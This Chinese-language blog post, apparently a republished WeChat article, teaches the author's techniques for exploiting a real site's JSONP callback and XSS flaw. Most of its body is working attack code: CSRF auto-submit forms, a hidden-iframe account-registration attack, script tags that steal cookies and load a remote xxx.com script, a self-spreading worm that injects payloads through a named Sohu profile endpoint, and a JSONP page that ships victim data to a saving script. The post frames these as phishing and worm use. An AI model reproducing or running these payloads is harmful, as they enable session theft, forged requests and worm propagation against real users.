xss蠕虫+jsonp构建
2024-2-12 22:26:24 Author: mp.weixin.qq.com(查看原文) 阅读量:21 收藏

前言:

好久没分享东西了突然发觉

倒不是说没写东西

最近写的东西还是蛮多的 但是有些东西暂时还不想公开

贴个图吧

又恰巧在测批量挖掘的一个思路时,跑了某个站的域名

跑出来一个接口 就想着水篇文章

正文

获取到如下的接口
http://网站/api/position/615?callback=111发觉是一个很不错的例子
这里就直接用这个来简单的教大家怎么挖掘jsonp的漏洞和xss进阶钓鱼使用

xss

最基础的就不说了 就是常见的弹窗或者跳转之类的

当然也是因为这里没waf 如果有waf的话就想办法绕就好了
waf还是蛮好绕的

这里肯定是核心写进阶利用的
因为这里没有发布文章这些操作不然就直接写蠕虫了 所以这里直接调用的注册账户的来进行实现

XSS+CSRF组合利用

最简单的方法:重定向思路去进行xss数据获取

思路一 xss重定向到一个页面后进行操作

个人不建议用这种思路 太容易被发现

window.location.href="http://baidu.com(payload的服务器地址)";

组合csrf使用
最简单的结合csrf的方法
准确就是url重定向+csrf漏洞进行
1.生成一个csrf
2.结合上面的重定向的代码把代码改为上面poc.html存储的服务器的地址即可
效果
常规的直接使用poc的如下
进一步更改的
直接结合doucument.forms[0].submit();去写

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="">

<script> document.forms[0].submit(); </script>
</form>
</body>
</html>

效果如下 弹窗跳转后直接成功

思路二 多次重定向+document.write

这种我比较喜欢 写完后完全没任何的在跳转到原来页面(不过最好还是自写js痕迹是最小的)

正常浏览的话看不出窃取了数据这些操作

组合蠕虫的话思路是一样的

直接页面插入自己html页面的链接即可或者就是插入xss平台生成的链接然后xss强制跳转(区别:后者可强制前者属于钓鱼手法)

直接抓包csrf生成的

<input type="hidden" name="callback" value="jQuery17207526730081973341&#95;1651468576157" />
<input type="hidden" name="name" value="26164283431121" />
<input type="hidden" name="password" value="a&#46;123456789" />
<input type="hidden" name="repassword" value="a&#46;123456789" />
<input type="hidden" name="rname" value="" />
<input type="hidden" name="idcard" value="" />
<input type="hidden" name="formtype" value="registerform" />
<input type="hidden" name="from" value="3841" />
<input type="hidden" name="&#95;" value="1651468592111" />
<input type="submit" value="Submit request" />

这个是html页面的

html页面也可以写xss的内容哦 核心就是看自己引用了

<meta http-equiv="content-type" content="text/html;charset=utf-8">
<iframe id="test_iframe" style='display:none'></iframe>
<h1>aa</h1>
<script>
var test_iframe = document.getElementById('test_iframe');
function CSRF()
{
test_iframe.contentWindow.document.write("<form action='http://baidu.com/注册的接口'>"
+"<input type='hidden' name='callback' value='jQuery17207526730081973341&#95;1651468576157' >"
+"<input type='hidden' name='name' value='261642834311211'>"
+"<input type='hidden' name='password' value='a&#46;123456789' >"
+"<input type='hidden' name='repassword' value='a&#46;123456789'>"
+"<input type='hidden' name='rname' value=''>"
+"<input type='hidden' name='idcard' value=''>"
+"<input type='hidden' name='formtype' value='registerform'>"
+"<input type='hidden' name='from' value='3841' >"
+"<input type='hidden' name='&#95;' value='1651468592111'>"
+"</form>"
+"<script> document.forms[0].submit(); <\/script>")
}
CSRF();
window.setTimeout(window.location.href='http://www.baidu.com', 1);//延迟二秒后跳转到指定网页
</script>

复杂点的方法:

原理:自写js代码进行处理

有动静的:弹窗+xss平台代码组合使用

<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js></script>

无动静的:直接xss.js的不弹窗即可

<script src=http://xxx.com/xxx.js></script>

如这里我使用的是有动静的

这个是链接的点
http://网站callback=<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>

这个就是xxx.js的内容 即点击该参数即可调用插入引用xxx.js的代码进而进行插入代码造成xss漏洞

自写的xss代码如下

xxx.js

这里的代码就不贴了 防止大佬们猜出网站是哪个

跟这个原理差不多 就是url变了一下

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
}
catch(e) {}
}
}
xmlhttp=request;
var injectcode=escape('</p><script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>');
var url= "http://t.stock.sohu.com/updateuserinfo.up?callback=jQuery17209598822160122753_1402214482429&interest=%C6%DA%D6%B8&introduction="+injectcode;
xmlhttp.open("GET", url, true);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send();

扔进去到xss平台里面后访问后会自动请求js里面的get或者post请求
后自动即会跳转
请求完成后即可成功完成我们引用的xss代码操作

jsonp

这个之前有写过但是这里还是也在此放出来

其实想想这里既然能xss 那为啥要用jsonp?哈哈哈哈

核心利用的原理:
JSONP技术可以实现数据的跨域访问,进而攻击者利用该漏洞可以向用户发送一个伪造的链接,进而当用户点击后进行回调函数进而即窃取到用户的信息

因为这里的callaback可控
服务器的保存文件的可以直接扔本地127.0.0.1
用phpstudy起一个就好了

<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>

点击该html即可获取到数据

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
</head>

<body>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://具有jsonp漏洞的地址/jsonp.php?callback=test"></script>
//callback回调函数进而获取数据然后采用ajax的形式进行发送数据

</body>

</html>


如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

xss研究笔记

SSRF研究笔记

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247493534&idx=1&sn=f8ac5f044e9a9bc18a493f3298997ab1&chksm=e8a5edfddfd264eb72b99331356e440fb6c7abde0f71e961de5aae2c20f4471b979d7cb56169&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh